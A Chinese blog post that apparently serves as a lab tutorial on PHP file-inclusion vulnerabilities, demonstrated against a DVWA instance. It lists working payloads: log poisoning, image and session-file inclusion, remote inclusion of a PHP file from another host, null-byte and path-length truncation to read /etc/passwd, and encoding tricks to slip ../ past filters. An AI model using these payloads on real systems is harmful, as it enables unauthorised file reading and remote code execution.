美文网首页
文件包含的各种姿势

文件包含的各种姿势

作者: suntwo | 来源:发表于2019-05-27 09:37 被阅读0次

文件包含漏洞原理

文件包含可以增加代码的重复使用,方便了开发人员,但是在带来方便的同时也给我们带来了很多安全方面的麻烦,因此我总结一下常见的文件包含漏洞的方式。

文件包含的方式

可以分为本地文件包含和远程文件包含,本地文件包含表示通过包含目标服务器上的文件来进行恶意代码的执行,我们通常需要构造自己的恶意代码并包含执行才能达到攻击服务器的目的,通常远程文件包含的的危害更大,因为恶意攻击者可以搭建自己的服务器,编写恶意代码,包含并且执行,但是远程文件包含的条件也很苛刻的,需要allow_url_open和allow_url_include都是on才能进行远程文件包含,但是在php5.2后allow_url_include是默认off的。

文件包含的函数

include函数
include_once函数
requirce函数
requirce_once函数
可以查看php手册来区分这几个函数的不同,这几个函数可以包含任意类型文件,并当作php代码执行。

包含日志文件

服务器的日志会将我们的请求url和代理放入日志中,因此有时我们可以将想要执行的代码放入ua中然后包含这个日志文件便可以执行代码。


QQ截图20190527154445.png
访问url:http://192.168.178.134/DVWA-master/vulnerabilities/fi/?page=/var/log/apache2/access.log

包含图片马

比如我在一张图片里写入了<?php phpinfo(); ?>便会返回我们的主页。

构造url:http://localhost/DVWA-master/vulnerabilities/fi/?page=../../../a.jpg
QQ截图20190527155637.png

包含session

我的session放入在/var/lib/php/sessions/文件夹中,里面的文件包含我们的session,如果我们可以控制自己的session,便可以进行执行代码,这里面的文件夹里面文件名为sess_SESSIONID.

构造url:http://192.168.178.134/DVWA-master/vulnerabilities/fi/?page=/var/lib/php/sessions/sess_fd9nko8ijbq74rjj8orfkjoln2
QQ截图20190527160957.png

远程文件包含

http://localhost/DVWA-master/vulnerabilities/fi/?page=https://www.baidu.com
QQ截图20190527164124.png QQ截图20190527164105.png
http://localhost/DVWA-master/vulnerabilities/fi/?page=http://192.168.178.134/aa.php
QQ截图20190527164105.png

%00截断

<?php
    $file = $_GET['file'];
    include '/var/www/html/'.$file.'/test/test.php';
?>

这段代码指定了前缀和后缀,前缀可以使用../来进行后退,后缀可以使用%00截断,原理便是PHP内核使用C语言写的,C语言的字符串是使用\0来结束的,因此可以进行截断。

?file=../../../../../../../../../etc/passwd%00

需要 magic_quotes_gpc=off,PHP 小于 5.3.4 有效

路径长度截断

?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.

php 版本小于 5.2.8 可以成功,linux 需要文件名长于 4096,windows 需要长于 256
这是因为目录的长度是有限制的,当我们长度达到一定的长度时,便会将超过长度的去掉,从而达到截断的目的。并且./表示当前目录。

编码绕过

服务器端通常会对../进行过滤,可以通过使用一些编码进行绕过。

url编码
../ -》 %2e%2e%2f -》 ..%2f -》 %2e%2e/
.. -》 %2e%2e%5c -》 ..%5c -》 %2e%2e
二次编码
../ -》 %252e%252e%252f
.. -》 %252e%252e%255c

参考:https://mp.weixin.qq.com/s/mRJKMVMwWuLtGRDJiFQ2dQ?v=1

相关文章

  • 文件包含的各种姿势

    文件包含漏洞原理 文件包含可以增加代码的重复使用,方便了开发人员,但是在带来方便的同时也给我们带来了很多安全方面的...

  • 无文件攻击的各种姿势

    0x01 很多应急响应行动中都会出现这样的场景:客户主机出现CPU占用率很高或有连接C&C服务器的可疑现象,但是使...

  • php伪协议实现命令执行的七种姿势

    php伪协议实现命令执行的七种姿势 文件包含函数:include、require、include_once、req...

  • 文件包含

    如何侵入系统 1 程序通过【包含函数】调用本地或远程文件,来实现漏洞上传。2 被包含的文件是各种格式,文件中可能就...

  • 【文件包含】PHP文件包含漏洞

    0x01 文件包含函数 include() include_once() require() require_on...

  • 文件包含

    本文作者是一个白的不能再白的小白的写的,自身的水平有限,本着分享的态度,如遇到不对的地方,希望大家多多提意见。 文...

  • 文件包含

    一.本文介绍 1、本文介绍文件本地包含(LIF)、远程包含(RLF)、包含日志文件、包含读文件、包含截断、str_...

  • IOS国际化问题

    实现过程 项目中建立存放国际化文件的bundle,bundle里面包含各种语言的string文件。bundle文件...

  • java简介

    1.JDK:调试、编译源文件,生成文档等,包含各种开发工具 2.JRE:运行字节码文件,包含基础API和JVM 3...

  • 2019-09-02 文件包含和几个伪协议

    本地文件包含和远程文件包含: 本地文件包含:只要内容中带有即可解析成php文件执行。即使包含的文件...

网友评论

      本文标题:文件包含的各种姿势

      本文链接:https://www.haomeiwen.com/subject/vphctctx.html